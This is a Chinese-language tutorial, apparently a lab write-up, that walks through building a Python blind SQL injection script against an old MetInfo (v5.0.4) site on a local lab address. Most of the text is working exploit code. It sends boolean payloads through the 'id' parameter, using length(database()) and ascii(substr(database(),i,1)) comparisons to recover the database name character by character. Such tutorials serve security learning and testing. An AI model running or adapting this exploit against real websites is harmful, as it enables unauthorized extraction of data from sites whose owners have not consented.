0x00 搭建环境介绍
平常的盲注如果手工会很麻烦,多数情况都会借助sqlmap等相关软件跑,但是有些情况下,考虑到sqlmap的线程以及其他情况,会造成其他的影响,这里我们来简单使用python构造一个盲注脚本,低线程,高效率。
利用到metinfo老版本平台,平台中集合多种漏洞,本次实验实验python构造盲注exp,实现注入
手工注入测试:
0x01 利用python构造exp-盲注脚本
import requests
def get_html(url):
"我的功能判断页面内容是否包含关键字,来判断传递参数是否为条件成立"
res = requests.get(url)
if "88888888" in res.text:#返回特殊关键字
return True
else:
return False
def get_databaseNL(url):
"我的作用获取数据库名字长度"
for num in range(1, 11):#判断数据库长度
getinfo = " and length(database())=%s --+" % num#构造语句
fullurl = url + getinfo#拼接完整的语句
if get_html(fullurl):#如果页面返回值为真
break#则停止
return num#返回数据库长度
def get_databaseName(url,num):
"我的作用是获取数据库名"
dbname = ""
for i in range(1,num+1):#构造循环
for j in range(1,123):#ascii表字符
getinfo = " and ascii(substr(database(),%s,1))=%s --+" %(i,j)
fullurl = url+getinfo#拼接语句
if get_html(fullurl):
dbname += chr(j)
#print(chr(j))
break
return dbname
if __name__ == "__main__":
url = "http://192.168.2.4/metinfov504/metinfov504/about/show.php?lang=cn&id=22"#请求地址
#headers = {
#"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"} # 第二步添加头部信息
num = get_databaseNL(url)
#params = {"id":"1' and length(database())=8 --+"} #第三步添加参数信息
#print(get_html())
dbname = get_databaseName(url,num)
print(dbname)